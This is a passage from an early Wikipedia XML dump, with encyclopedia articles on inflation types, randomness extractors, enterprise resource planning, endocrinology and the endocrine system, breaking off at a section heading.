* the economy of the world; see [[world economy]]
* the economy of a country; see [[economics]] and [[economic system]]
* [[economy (Eastern Orthodoxy)]], a bishop's discretionary power to relax rules
* [[economy (Thoreau)]], a chapter from ''Walden'', by Henry David Thoreau

;Places:
* [[Economy, Indiana]]
* [[Economy, Pennsylvania]]
* [[Economy, Nova Scotia]] is an unincorporated community of about 200 in Maritime Canada

{{disambig}}

[[ms:ekonomi]]</text>
    </revision>
  </page>
  <page>
    <title>Economy/Inflation</title>
    <id>9304</id>
    <revision>
      <id>15907204</id>
      <timestamp>2003-06-06T01:35:07Z</timestamp>
      <contributor>
        <username>Camembert</username>
        <id>3113</id>
      </contributor>
      <minor />
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Inflation]]</text>
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  </page>
  <page>
    <title>Economics/Inflation</title>
    <id>9305</id>
    <revision>
      <id>15907205</id>
      <timestamp>2003-06-06T01:35:37Z</timestamp>
      <contributor>
        <username>Camembert</username>
        <id>3113</id>
      </contributor>
      <minor />
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Inflation]]</text>
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  </page>
  <page>
    <title>Demand pull inflation</title>
    <id>9307</id>
    <revision>
      <id>30754126</id>
      <timestamp>2005-12-09T21:15:55Z</timestamp>
      <contributor>
        <username>Cooksey</username>
        <id>478349</id>
      </contributor>
      <minor />
      <comment>Corrected internal link</comment>
      <text xml:space="preserve">'''Demand-pull [[inflation]]''' arises when [[aggregate demand]] in an economy outpaces [[aggregate supply]]. It involves inflation rising as real [[gross domestic product]] rises and unemployment falls, as the economy moves along the [[Phillips curve]]. This is commonly described as &quot;''too much [[money]] chasing too few [[Good (economics)|goods]]''&quot;. More accurately, it should be described as involving &quot;''too much money spending chasing too few goods''&quot;, since only money that is spent on goods and services can cause inflation. This would not be expected to persist over time due to increases in supply, unless the economy is already at a [[full employment]] level.

The term demand-pull inflation is mostly associated with [[Keynesian economics]].

==See also== 
*[[Economics]]
*[[cost push inflation]]

[[Category:Demand]]
[[Category:Inflation]]</text>
    </revision>
  </page>
  <page>
    <title>Cost push inflation</title>
    <id>9308</id>
    <revision>
      <id>34977080</id>
      <timestamp>2006-01-13T03:37:36Z</timestamp>
      <contributor>
        <username>Shadypalm88</username>
        <id>69386</id>
      </contributor>
      <minor />
      <comment>Adding downward inflexible synonym for sticky downward</comment>
      <text xml:space="preserve">'''Cost-push inflation ''' or '''supply-shock inflation''' is a type of [[inflation]] caused by large increases in the cost of important goods or services where no suitable alternative is available. A situation that has been often cited as of this was the [[1970s energy crisis|oil crisis]] of the [[1970s]], which some economists see as a major cause of the inflation experienced in the Western world in that decade. It is argued that this inflation resulted from increases in the cost of [[petroleum]] imposed by the member states of [[OPEC]]. Since petroleum is so important to industrialized economies, a large increase in its price can lead to the increase of most products, raising the [[inflation rate]]. This can raise the normal or built-in inflation rate, reflecting [[adaptive expectations]] and the [[price/wage spiral]], so that a supply shock can have persistent effects. 

[[monetarism|Monetarist]] economists such as [[Milton Friedman]] argue against the concept of cost-push inflation because they believe that increases in the cost of goods and services do not lead to inflation without the government and its [[Central Bank]] cooperating in increasing the [[money supply]].  The argument is that if the money supply is constant, increases in the cost of a good or service will decrease the money available for other goods and services, and therefore the price of some those goods will fall and offset the rise in price of those goods whose prices have increased.  One consequence of this is that monetarist economists do not believe that the rise in the cost of oil was a direct cause of the inflation of the 1970s. They argue that although the price of oil went back down in the 1980s, there was no corresponding [[deflation (economics)|deflation]].

[[Keynesians]] riposte that in a modern industrial economy, many prices are ''sticky downward'' or ''downward inflexible'', so that instead of prices falling in this story, a supply shock would cause a [[recession]], i.e., rising [[unemployment]] and falling [[gross domestic product]]. It is the costs of such a recession that likely causes governments and Central Banks to allow a supply shock to result in inflation. 
They also note that though there was no deflation in the 1980s, there was a definite fall in the [[inflation rate]] during this period. Actual deflation was prevented because supply shocks are not the only cause of inflation; in terms of the modern '''triangle model''' of [[inflation]], supply-driven deflation was counteracted by [[demand pull inflation]] and built-in inflation resulting from [[adaptive expectations]] and the [[price/wage spiral]].

== See also ==
*[[Economics]]
*[[Demand pull inflation]]
[[Category:Inflation]]</text>
    </revision>
  </page>
  <page>
    <title>Extractor</title>
    <id>9309</id>
    <revision>
      <id>41837587</id>
      <timestamp>2006-03-02T01:46:20Z</timestamp>
      <contributor>
        <ip>128.83.158.37</ip>
      </contributor>
      <text xml:space="preserve">''This article is about the extractor in Mathematics, for other usage of this word see: [[Extractor (fire arms)]].''
----------------------------
An &lt;math&gt;(N,M,D,K,\epsilon)&lt;/math&gt; -'''extractor''' is a [[bipartite graph]] with &lt;math&gt;N&lt;/math&gt; nodes on the left and &lt;math&gt;M&lt;/math&gt; nodes on the right such that each node on the left has &lt;math&gt;D&lt;/math&gt; neighbors (on the right), which has the added property that
for any subset &lt;math&gt;A&lt;/math&gt; of the left vertices of size at least &lt;math&gt;K&lt;/math&gt;, the distribution on right vertices obtained by choosing a random node in &lt;math&gt;A&lt;/math&gt; and then following a random [[edge]] to get a node x on the right side is &lt;math&gt;\epsilon&lt;/math&gt;-close to the [[uniform distribution]] in terms of [[total variation distance]].

A [[disperser]] is a related graph. 

An equivalent way to view an extractor is as a bivariate function 

&lt;math&gt;E : [N] \times [D] \rightarrow [M]&lt;/math&gt; 

in the natural way. With this view it turns out that the extractor property is equivalent to: for any source of randomness &lt;math&gt;X&lt;/math&gt; that gives &lt;math&gt;n&lt;/math&gt; [[bits]] with [[min-entropy]] &lt;math&gt;\log K&lt;/math&gt;, the distribution &lt;math&gt; E(X,U_D) &lt;/math&gt; is &lt;math&gt;\epsilon&lt;/math&gt;-close to &lt;math&gt;U_M&lt;/math&gt;, where &lt;math&gt;U_T&lt;/math&gt; denotes the uniform distribution on &lt;math&gt;[T]&lt;/math&gt;.

Extractors are interesting when they can be constructed with small &lt;math&gt;K,D,\epsilon&lt;/math&gt; relative to &lt;math&gt;N&lt;/math&gt; and &lt;math&gt;M&lt;/math&gt; is as close to &lt;math&gt;KD&lt;/math&gt; (the total randomness in the input sources) as possible.

Extractor functions were originally researched as a way to ''extract'' [[randomness]] from weakly random sources. 

Using the [[probabilistic method]] it is easy to show that extractor graphs with really good parameters exist. The challenge is to find explicit or [[polynomial time]] computable examples of such graphs with good parameters. Algorithms that compute extractor (and disperser) graphs have found many applications in [[computer science]].

==References==
* Ronen Shaltiel, [http://www.cs.haifa.ac.il/~ronen/online_papers/survey.ps Recent developments in extractors] - a survey

[[Category:Graphs]]</text>
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  </page>
  <page>
    <title>Enterprise resource planning</title>
    <id>9310</id>
    <revision>
      <id>42044086</id>
      <timestamp>2006-03-03T12:13:23Z</timestamp>
      <contributor>
        <ip>59.95.40.109</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">'''Enterprise resource planning''' systems (ERPs) are [[management information system]]s (MISs) that integrate and automate many of the business practices associated with the operations or production and distribution aspects of a company engaged in [[manufacturing]] products or services.

== Overview==
Enterprise resource planning is a term derived from [[manufacturing resource planning]] (MRP II) that followed [[material requirements planning]] (MRP). ERP systems typically handle the [[manufacturing]], [[logistics]], [[distribution (business)|distribution]], [[inventory]], [[shipping]], [[Invoice|invoicing]], and [[accounting]] for a company. Enterprise Resource Planning or ERP [[Computer software|software]] can aid in the  control of many [[business]] activities, like [[sales]], [[Delivery (commerce)|delivery]], billing, production, inventory management, [[quality management]], and [[Human resource management system|human resources management]].

ERPs are often called ''[[back office]] systems'' indicating that [[customer]]s and the general public are not directly involved. This is contrasted with ''front office systems'' like [[customer relationship management]] (CRM) systems that deal directly with the customers, or the eBusiness systems such as eCommerce, eGovernment, eTelecom, and eFinance, or [[Supply chain management|supplier relationship management]] (SRM) systems that deal with the suppliers.

ERPs are cross-functional and enterprise wide. All functional departments that are involved in operations or production are integrated in one system. In addition to manufacturing, warehousing, logistics, and Information Technology, this would include [[Accountancy|accounting]], [[human resources]], [[marketing]], and [[strategic management]].

==Implementation==
Because of their wide scope of application within the firm, ERP software [[system]]s rely on some of the largest bodies of software ever written.  Implementing such a large and complex software system in a [[company (law)|company]] used to involve an army of [[analyst]]s, [[programmer]]s, and users.  This was, at least, until the development of the [[Internet]] allowed outside consultants to gain access to company computers in order to install standard updates. ERP implementation, without professional help, can be a very expensive [[project]] for bigger companies, especially [[Multinational corporation|transnationals]]. Companies specializing in ERP implementation, however, can expedite this process and can complete the task in under six months with solid pilot testing.

Enterprise resource planning systems are often closely tied to [[supply chain management]] and [[logistics automation]] systems. Supply chain management software can extend the ERP system to include links with suppliers.  

To implement ERP systems, companies often seek the help of an ERP vendor or of third-party [[consultancy|consulting]] companies.  Consulting in ERP involves two levels, namely business consulting and technical consulting.  A business consultant studies an organization's current business processes and matches them to the corresponding processes in the ERP system, thus 'configuring' the ERP system to the organisation's needs.  Technical consulting often involves programming. Most ERP vendors allow modification of their software to suit the business needs of their customer. 

Customizing an ERP package can be very expensive and complicated, because many ERP packages are not designed to support customization, so most businesses implement the best practices embedded in the acquired ERP system. Some ERP packages are very generic in their reports and inquiries, such that customization is expected in every implementation.  It is important to recognize that for these packages, it makes more sense to buy [[third party]] reporting packages that interface well to particular ERP, than to reinvent what tens of thousands of other clients of that same ERP have needed to develop.

Today there are also web-based ERP systems. Companies would deploy web-based ERP because it requires no client side installation, and is cross-platform and maintained centrally. As long as you have an Internet connection, you can access web-based ERPs through typical web browsers.

==Advantages==
In the absence of an ERP system, a manufacturer in need of what it has to offer, may find itself with many software applications that do not talk to each other, do not effectively interface: design [[engineering]] how best to make the product; keeping track of the status of customer orders from acceptance thru fulfillment; managing interdependencies of complex [[Bill of Material]]s [[product]] [[structure]]s in the real world of evolving [[Engineering]] and [[Revision]] changes and improvements, and the need to make material substitutions, during temporary inventory shortages; 3-way match between [[Purchase order]]s (what was ordered), [[Inventory]] receipts (what arrived), and [[Cost]]ing (what the vendor invoiced); [[Accounting]] for all of this, including tracking [[Costs]] and [[Profits]] on a granular level. But the advantage of having an ERP is that all this, and more, is integrated.  

Change '''how''' a product is made, in the [[engineering]] details, and that is how it will now be made. '''Effectivity''' dates can be used to control when the switch over will occur from an old version to the next one, both the date that some ingredients go into effect, and date that some are discontinued.  Part of the change can include labeling to identify version #s.

[[Computer security]] is included within an ERP, to protect against both outsider crime, such as [[industrial espionage]] and insider crime, such as [[embezzlement]].  A data tampering scenario might involve a [[terrorism|terrorist]] altering a [[Bill of Materials]] so as to put [[poison]] in food products, or other sabotage.  ERP security helps to prevent abuse as well.

There are concepts of [[Front office]] (how the company interacts with customers), which includes [[CRM]] or [[Customer relationship management]]; [[Back end]] (internal workings of the company to fulfill customer needs), which includes [[quality control]], to make sure there are no problems not fixed, in the end products; [[Supply chain]] (interacting with suppliers and transportation infrastructure). All of these can be integrated through an ERP, although some systems have gaps in comprehensiveness and effectiveness. Without an ERP that integrates all these, it can be a nightmare for a manufacturer to manage...

==Disadvantages==
Many of the problems that companies have with ERPs are due to inadequate investment in continuing education for all relevant personnel, including those implementing and testing changes, and a lack of corporate policies that affect how the ERP data gets used and is kept accurate. 

Limitations and pitfalls to ERP include:
* Success depends on the skill and experience of the work force, including education in how to make the system work correctly. Many companies cut costs by cutting user training. Privately owned small enterprises are often undercapitalized, meaning their ERP system is often operated by personnel with inadequate education in ERP in general, such as [[APICS]] foundations, and in the particular ERP vendor package being used.
* Personnel turnover; companies can employ new managers lacking education in the company's ERP system, proposing changes in business practices that are out of synchronization with the best utilization of the company's selected ERP.
* ERP systems can be very expensive to install.
* ERP vendors can charge sums of money for annual license renewal that is unrelated to the size of the company using the ERP or its profitability.
* [[Technical support]] personnel often give replies to callers that are inappropriate for the caller's corporate structure. Computer security concerns arise, for example when telling a non-programmer how to change a database on the fly, at a company that requires an audit trail of changes so as to meet some regulatory standards.
* ERPs are often seen as too rigid, and difficult to adapt to the specific [[workflow]] and business process of some companies - this is cited as one of the main causes of their failure.
* Systems can be difficult to use.
* The system can suffer from the &quot;weakest link&quot; problem - an inefficiency in one department or at one of the partners may affect other participants.
* Many of the integrated links need high accuracy in other applications to work effectively. A company can achieve minimum standards, then over time &quot;dirty data&quot; will reduce the reliability of some applications.
* Once a system is established, switching costs are very high for any one of the partners (reducing flexibility and strategic control at the corporate level).
* The blurring of company boundaries can cause problems in accountability, lines of responsibility, and employee morale.
* Resistance in sharing sensitive internal information between departments can reduce the effectiveness of the software.
* There are frequent compatibility problems with the various legacy systems of the partners.
* The system may be over-engineered relative to the actual needs of the customer.

==See also==

* [[List of ERP vendors]]
* [[List of ERP software packages]]
* [[Accounting software]]
* [[Advanced Planning &amp; Scheduling]]
* [[APICS]]
* [[E-procurement]]
* [[ERP modeling]]
* [[Information technology management]]
* [[Management information system]]
* [[Supply chain management]]
* [[Material requirements planning]] (material resource planning)
* [[Human resource management system]]
* [[Software as a Service]]
* [[Vendor-independent solutions provider]]

== External links ==
* [http://www.cio.com/research/erp/edit/erpbasics.html ABC's of ERP] from CIO
*[http://www.training-management.info/Enterprise.htm PHS ERP Training Article]
*[http://akashmavle.fortunecity.com Baan Knowledge Repository]

[[Category:Information technology management]]
[[Category:Supply chain management]]
[[Category:Production and manufacturing]]

[[cs:Enterprise resource planning]]
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  </page>
  <page>
    <title>Endocrinology</title>
    <id>9311</id>
    <revision>
      <id>41589741</id>
      <timestamp>2006-02-28T09:39:46Z</timestamp>
      <contributor>
        <username>Gleng</username>
        <id>797145</id>
      </contributor>
      <minor />
      <comment>/* Peptide/Protein */</comment>
      <text xml:space="preserve">'''Endocrinology''' is a branch of medicine dealing with disorders of
the [[endocrine system]] and its specific secretions called [[hormone]]s. 
Hormones are molecules that act as signals from one type of cells to another. Most hormones reach their targets via the blood, although as steroids are lipid soluble, they freely travel through all body compartments. Although every organ system secretes and responds to hormones (including the [[brain]], [[lungs]], [[heart]], [[intestine]], [[skin]], and the [[kidney]]), the clinical specialty of endocrinology focuses on the ''endocrine organs'', i.e. the organs whose primary function is hormone secretion.

An '''endocrinologist''' is a [[physician|doctor]] who specializes in treating such disorders, particularly disorders of the [[pituitary]], including growth disorders; diseases of the [[thyroid]] gland; of the [[adrenal]] glands; and of the [[ovary]] and [[testes]]; and [[diabetes]], a disorder of insulin secretion or sensitivity.

==Background==

All multicellular organisms need “coordinating systems to regulate and integrate the function of differentiating cells”. Two mechanisms perform this function in higher animals, the nervous system and the endocrine system. The endocrine system acts through the release (generally into the blood) of chemical agents, and is vital to the proper development and function of organisms. As Hadley (2000) notes, the integration of developmental events such as proliferation, growth, differentiation (including histogenesis and organogenesis) and the coordination of [[metabolism]], [[Respiration (physiology)|respiration]], excretion, movement, [[reproduction]] and sensory perception depend on “chemical cues, substances synthesised and secreted by the specialised cells within the animal”.

Endocrinology is concerned with the study of the biosynthesis, storage, chemistry and physiological function of [[hormones]], and also with the cells of the endocrine glands and tissues that secrete them. The study of endocrinology effectively began when Berthold (1849) noted that castrated cockerels failed to develop combs and wattles or exhibit overtly male behaviour. He found that replacement of testes back into the abdominal cavity of either the same bird or another castrated bird resulted in normal behavioural and morphological development, and concluded (rather erroneously) that the testes secreted a substance that &quot;conditioned&quot; the blood that, in turn, acted upon the body of the cockerel. In fact, one of two other things could have been true: that the testes modified or activated a constituent of the blood, or that the testes removed an inhibitory factor from the blood. It was not proven that the testes released a substance that engenders male characteristics until it was shown that the extract of testes could replace their function in castrated animals. Pure, crystalline [[testosterone]] was isolated in 1935 by David et al.

Although most of the relevant tissues and endocrine glands had been identified by early anatomists, a more humoural approach to understanding biological function and disease was favoured by classical thinkers such as [[Aristotle]], [[Hippocrates]], [[Lucretius]], [[Celsus]] and [[Galen]] according to Freeman et al (2001), and these theories held sway until the advent of germ theory, physiology and organ basis of pathology in the 19th Century.

==Hormones==

===Overview===
The endocrine system consists of several glands, in different parts of the body, that secrete hormones directly into the blood rather than into a duct system. Hormones have many different functions and modes of actions; one hormone may have several effects on different target organs and, conversely, one target organ may be affected by more than one hormone.

[[Image:Amine hormones, norepinephrine and triiodothryonine.jpg|thumb|300px|Amine hormones, norepinephrine and triiodothryonine]]
In 1902 Bayliss and Starling performed an experiment in which they observed that acid instilled into the [[duodenum]] caused the [[pancreas]] to begin secretion, even after they had removed all nervous connections between the two. The same response could be produced by injecting [[jejunal mucosa]], showing that some factor in the mucosa was responsible. They named this substance &quot;[[secretin]]&quot;, and coined the term &quot;hormone&quot; for chemicals that act in this way. They specified that, to be classified as a hormone, a chemical must be produced by an organ; be released (in small amounts) into the blood; and be transported by the blood to a distant organ to exert its specific function. This definition holds for most ‘classical’ hormones, but there are also [[paracrine]] mechanisms (chemical communication between cells within a tissue or organ), autocrine signals (a chemical that acts on the same cell) and intracrine signals (a chemical that acts within the same cell) (Nussey and Whitehead, 2001). A [[neuroendocrine]] signal is a ‘classical’ hormone that is released into the blood by a neurosecretory neuron (see article on [[Neuroendocrinology]]).

[[Image:Steroid hormones, cortisol and Vitamin D3.jpg|thumb|300px|Steroid hormones, cortisol and Vitamin D3]]
Hormones act by binding to specific receptors in the target organ. As Baulieu (1990) notes, a receptor has at least two basic constituents: a recognition site to which the hormone binds, and an effector site, which precipitates the modification of cellular function; between these is a &quot;transduction mechanism&quot; in which hormone binding induces allosteric modification that, in turn, produces the appropriate response.

Griffin and Ojeda (2000) identify three different classes of hormone based on their chemical composition:

===Amines===
Amines, such as [[norepinephrine]], [[epinephrine]] and [[dopamine]], are derived single amino acids, in this case tyrosine. [[Thyroid]] hormones like 3,5,3’-triiodothyronine (T3) and 3,5,3’,5’-tetraiodothyronine (thyroxine, T4) make up a subset of this class as they derive from the combination of two iodinated tyrosine amino acid residues.

===Peptide/Protein===
[[Peptide hormones]] and protein hormones are comprised of between three (in the case of [[thyrotropin-releasing hormone]] and over 200 (in the case of [[follicle-stimulating hormone]]) amino acid residues, and can have molecular weights as large as 30,000. All of the hormones secreted by the pituitary gland are peptide hormones, as are [[leptin]] from adipocytes, [[ghrelin]] from the stomach, and [[insulin]] from the [[pancreas]]..

===Steroid===
[[Steroid]] hormones are derivatives of [[cholesterol]] and are subdivided into those with an intact steroid nucleus (gonadal and adrenal steroids) and those with a broken steroid nucleus ([[Vitamin D]]). Steroid horomones include [[estrogen]] and [[progesterone]] from the [[ovary]], [[testosterone]] from the [[testes]], and [[cortisol]] and aldosterone from the adrenal gland.

==Work==
The medical specialty of endocrinology involves the diagnostic evaluation of a wide variety of symptoms and variations, as well as the long-term management of disorders of deficiency or excess of one or more hormones.

The diagnosis and treatment of endocrine diseases are guided by [[laboratory]] tests to a greater extent than for most specialties. Many diseases are investigated through ''excitation/stimulation'' or ''inhibition/suppression'' testing. This might involve injection with a stimulating agent to test the function of an endocrine organ. Blood is then sampled to assess the changes of the relevant hormones or metabolites. An endocrinologist needs extensive knowledge of [[clinical chemistry]] and [[biochemistry]] to understand the uses and limitations of the investigations.

A second important aspect of the practice of endocrinology is distinguishing human variation from disease. Atypical patterns of physical development and abnormal test results must be assessed as indicative of disease or not. [[Diagnostic imaging]] of endocrine organs may reveal &quot;spots,&quot; termed [[incidentaloma]]s, which do not represent disease.

Endocrinology involves caring for the person as well as the disease.  Most endocrine disorders are [[chronic disease]]s that need life-long care. The most common of these is [[diabetes mellitus]]. Care of diabetes and other chronic diseases necessitates understanding the patient at the personal and social level as well as the molecular, and the physician-patient relationship can be an important therapeutic process.

Apart from managing patients, many endocrinologists are involved in [[clinical science]] and [[medical research]], [[teaching]] and [[hospital management]].

==Training==
Endocrinologists are specialists of [[internal medicine]] or [[pediatrics]]. Reproductive endocrinologists primarily deal with problems of [[fertility]] and menstrual function. Most qualify as an [[internist]], [[pediatrician]], or [[gynecologist]] for a few years before specialising, depending on the local training system. In the U.S. and Canada, training for board certification in internal medicine, [[pediatrics]], or [[gynecology]] after medical school is referred to as residency. Further formal training to subspecialize in adult, [[pediatric endocrinology|pediatric]], or reproductive endocrinology is referred to as a 'fellowship'. Typical training for a North American endocrinologist involves 4 years of college, 4 years of medical school, 3 years of residency, and 3 years of fellowship.

==Diseases==
Among the hundreds of endocrinological diseases are :
* [[Adrenal]] disorders:
** [[Adrenal insufficiency]]
*** [[Addison's disease]]
*** [[Congenital adrenal hyperplasia]] (adrenogenital syndrome)
*** [[Mineralocorticoid deficiency]]
** [[Conn's syndrome]]
** [[Cushing's syndrome]]
** [[Pheochromocytoma]]
** [[Adrenocortical carcinoma]]
* [[Glucose]] homeostasis disorders:
** [[Diabetes mellitus]]
** [[Hypoglycemia]]
*** [[Idiopathic hypoglycemia]] 
*** [[Insulinoma]]
* Metabolic [[bone]] disease:
** [[Osteoporosis]]
** [[Osteitis deformans]] (Paget's disease of bone)
** [[Rickets]] and [[osteomalacia]]
* [[Pituitary gland]] disorders:
** [[Diabetes insipidus]]
** [[Hypopituitarism]] (or [[hypopituitarism|Panhypopituitarism]])
** [[Pituitary tumour]]s
*** [[Pituitary adenoma]]s
*** [[Prolactinoma]] (or [[Hyperprolactinaemia]])
*** [[Acromegaly]], [[gigantism]]
*** [[Cushing's disease]]
* [[Parathyroid gland]] disorders:
** [[Primary hyperparathyroidism]]
** [[Secondary hyperparathyroidism]]
** [[Tertiary hyperparathyroidism]]
** [[Hypoparathyroidism]]
*** [[Pseudohypoparathyroidism]]
* Sex hormone disorders:
** [[Disorders of sexual differentiation]] or intersex disorders
*** [[Hermaphroditism]]
*** [[Gonadal dysgenesis]]
*** [[Androgen insensitivity syndrome]]s
** [[Hypogonadism]]
*** [[Gonadotropin deficiency]]
*** [[Kallmann syndrome]]
*** [[Klinefelter syndrome]]
*** [[Ovarian failure]]
*** [[Testicular failure]]
*** [[Turner syndrome]]
** Disorders of [[Gender]]
*** [[Gender identity disorder]]
** Disorders of Puberty
*** [[Delayed puberty]]
*** [[Precocious puberty]]
** Menstrual function or fertility disorders
*** [[Amenorrhoea]]
*** [[Polycystic ovary syndrome]]
*  [[Thyroid]] disorders:
** [[Hyperthyroidism]] and [[Graves-Basedow disease]]
** [[Hypothyroidism]]
** [[Thyroiditis]]
** [[Thyroid cancer]]
* Tumors of the endocrine glands not mentioned elsewhere
** [[Multiple endocrine neoplasia]]
*** [[Multiple endocrine neoplasia type 1|MEN type 1]]
*** [[Multiple endocrine neoplasia type 2a|MEN type 2a]]
*** [[Multiple endocrine neoplasia type 2b|MEN type 2b]].
** See also separate organs
* [[Autoimmune polyendocrine syndrome]]s
* [[Incidentaloma]] - an unexpected finding on diagnostic imaging, often of endocrine glands

==See also==
*[[Pediatric endocrinology]]
*[[Neuroendocrinology]]
*[[Health science]]

==References==
* Griffin JE, Ojeda SR. ''Textbook of Endocrine Physiology'' 4th ed. New York: Oxford University Press, 2000.
* Hadley ME. ''Endocrinology 5th ed.'' London: Prentice –Hall International (UK) Ltd, 2000.
* Chester-Jones I, Ingleton PM, Phillips JG. ''Fundamentals of Comparative Vertebrate Endocrinology'' New York: Plenum Press, 1987.
* Berthold AA. ''Transplantation der Hoden ''Arch. Anat. Phsiol. Wiss. Med.'' 1849;16:42-6.
* David K, Dingemanse E, Freud J ''et al''. ''Uber krystallinisches mannliches Hormon aus Hoden (Testosteron) wirksamer als aus harn oder aus Cholesterin bereitetes Androsteron. ''Hoppe Seylers Z Physiol Chem'' 1935;233:281.
* Freeman ER, Bloom DA, McGuire JE. ''A Brief History of Testosterone''. J Urol 2001;165:371-373.
* Bayliss WM, Starling EH. ''The mechanism of pancreatic secretion.'' J Physiol 1902;28:325–352.
* Nussey S, Whitehead S. ''Endocrinology: An integrated approach''. Oxford: BIOS Scientific Publishers Ltd., 2001.
* Laylock J, Wise P. ''Essential Endocrinology'' Oxford: Oxford University Press, 1996.
* Baulieu EE. ''Hormones: From molecules to disease'' Baulieu, E-E. and Kelly, P.A., (eds) Paris: Hermann, 1990.

==External links==
* [http://www.ncbi.nlm.nih.gov:80/books/bv.fcgi?call=bv.View..ShowTOC&amp;rid=endocrin.TOC&amp;depth=1 Endocrinology] (British online textbook)
* [http://www.endotext.org Endotext] (American online textbook)

===Societies and associations===
*[http://www.endo-society.org/ Endocrine Society] 
*[http://www.aace.com American Association of Clinical Endocrinologists] 
*[http://www.diabetes.org American Diabetes Association]
*[http://www.lwpes.org Lawson Wilkins Pediatric Endocrine Society]
*[http://www.endocrinology.org/default.htm Society for Endocrinology]
*[http://www.sbn.org Society for Behavioral Neuroendocrinology]

{{Medicine}}
{{endocrine_system}}

[[Category:Endocrine system]]
[[Category:Endocrinology| ]]

[[de:Endokrinologie]]
[[es:Endocrinología]]
[[is:Innkirtlafræði]]
[[he:אנדוקרינולוגיה]]
[[nl:Endocrinologie]]
[[ja:内分泌学]]
[[pl:Endokrynologia]]
[[pt:Endocrinologia]]
[[ru:Эндокринология]]
[[sv:Endokrinologi]]
[[tr:Endokrinoloji]]
[[uk:Ендокринологія]]</text>
    </revision>
  </page>
  <page>
    <title>Endocrine system</title>
    <id>9312</id>
    <revision>
      <id>41840638</id>
      <timestamp>2006-03-02T02:12:44Z</timestamp>
      <contributor>
        <ip>129.123.104.6</ip>
      </contributor>
      <comment>/* Physiology */</comment>
      <text xml:space="preserve">[[Image:Illu endocrine system.png|right|thumb|227px|Major endocrine glands. ([[Male]] left, [[female]] on the right.) '''1.''' [[Pineal gland]] '''2.''' [[Pituitary gland]] '''3.''' [[Thyroid gland]] '''4.''' [[Thymus]] '''5.''' [[Adrenal gland]] '''6.''' [[Pancreas]] '''7.''' [[Ovary]] '''8.''' [[Testis]] ]]
The '''endocrine system''' is a control system of ductless [[gland]]s that secrete chemical messengers called [[hormone]]s that circulate within the body via the [[blood]]stream to affect distant [[organ (anatomy)|organs]].  Hormones act as &quot;messengers&quot;, and are carried by the bloodstream to different cells in the body, which interpret these messages and act on them.  The endocrine system does not include [[exocrine gland]]s such as [[salivary gland]]s, [[sweat gland]]s and glands within the [[gastrointestinal tract]].

The field of [[medicine]] that deals with disorders of endocrine glands is '''[[endocrinology]]''', a branch of the wider field of [[internal medicine]].

==Physiology==
The endocrine system links the brain to the organs that control body [[metabolism]], [[morphogenesis|growth and development]], and [[sexual reproduction|reproduction]].

Signal transduction of some hormones with steroid structure involves nuclear hormone receptor proteins that are a class of [[ligand]] activated proteins that, when bound to specific sequences of DNA serve as on-off switches for transcription within the cell nucleus. These switches control the development and differentiation of skin, bone and behavioral centers in the brain, as well as the continual regulation of reproductive tissues.

The endocrine system regulates its hormones through negative feedback. Increases in hormone activity decrease the production of that hormone. The immune system and other factors contribute as control factors also, altogether maintaining constant levels of hormones.

== Table of endocrine glands and the hormones secreted ==
=== In both sexes: ===
(starting from the head and going downwards)

*'''[[Hypothalamus]]'''
**[[Thyrotropin-releasing hormone]] (TRH)
**[[Gonadotropin-releasing hormone]] (GnRH)
**[[Growth hormone-releasing hormone]] (GHRH)
**[[Corticotropin-releasing hormone]] (CRH)
**[[Somatostatin]]
**[[Dopamine]]

*'''[[Pituitary gland]]'''
**'''Anterior lobe ([[adenohypophysis]])'''
***GH ([[human growth hormone]])
***PRL ([[prolactin]])
***ACTH ([[adrenocorticotropic hormone]])
***TSH ([[thyroid-stimulating hormone]])
***FSH ([[follicle-stimulating hormone]])
***LH ([[luteinizing hormone]])
**'''Posterior lobe ([[neurohypophysis]])'''
***[[Oxytocin]]
***ADH ([[antidiuretic hormone]])

*'''[[Pineal gland]]'''
**[[Melatonin]]

*'''[[Thyroid gland]]'''
**Thyroxine (T4), a form of [[thyroid hormone]]
**Triiodothyronine (T3), a form of [[thyroid hormone]]
**[[Calcitonin]]

*'''[[Parathyroid gland]]'''
**[[Parathyroid hormone]] (PTH)

*'''[[Heart]]'''
**[[Atrial-natriuretic peptide]] (ANP)

*'''[[Stomach]] and [[intestines]]'''
**[[Gastrin]]
**[[Secretin]]
**[[Cholecystokinin]] (CCK)
**[[Somatostatin]]
**[[Neuropeptide Y]]

*'''[[Liver]]'''
**[[Insulin-like growth factor]]
**[[Angiotensinogen]]
**[[Thrombopoietin]]

*'''[[Islets of Langerhans]] in the [[pancreas]]'''
**[[Insulin]]
**[[Glucagon]]
**[[Somatostatin]]

*'''[[Adrenal gland]]s'''
**'''[[Adrenal cortex]]'''
***[[Glucocorticoid]]s - [[cortisol]]
***[[Mineralocorticoid]]s - [[aldosterone]]
***[[Androgen]]s (including [[testosterone]])
**'''[[Adrenal medulla]]'''
***Adrenaline ([[epinephrine]])
***Noradrenaline ([[norepinephrine]])

*'''[[Kidney]]'''
**[[Renin]]
**[[Erythropoietin]] ([[EPO]])
**[[Calcitriol]]

*'''[[Skin]]'''
**Calciferol ([[vitamin D]]&lt;sub&gt;3&lt;/sub&gt;)

*'''[[Adipose tissue]]'''
**[[Leptin]]

=== In males only ===

*'''[[Testes]]'''
**[[Androgen]]s ([[testosterone]])

=== In females only ===

*'''[[Ovarian follicle]]'''
**[[Oestrogens]]
**[[Testosterone]]

*'''[[Corpus luteum]]'''
**[[Progesterone]]

*'''[[Placenta]]''' (when [[pregnant]])
**[[Progesterone]]
**[[Human chorionic gonadotrophin]] (HCG)
**[[Human placental lactogen]] (HPL)

==Role in disease==
Diseases of the endocrine system are common, such as [[diabetes mellitus]] and [[thyroid]] disease. 

Endocrineopathies can occur with any of these. Hypofunction can occur as result of loss of reserve, hyposecretion, [[agenesis]], atrophy, destruction, etc. Hyperfunction can occur as result of hypersecretion, loss of suppression, tumor, [[hyperplasia]], etc.

Endocrineopathies are classified as primary, secondary, or tertiary.

Primary is target organ dysfunction and is normally associated with increased or decreased secretory hormones. Secondary is a dysfunction that originates elsewhere like the pituitary gland and is normally associated with increased or decreased production of trophic factors. Tertiary is associated with dysfunction of the hypothalamus and its releasing hormones.

==Diffuse Endocrine System==
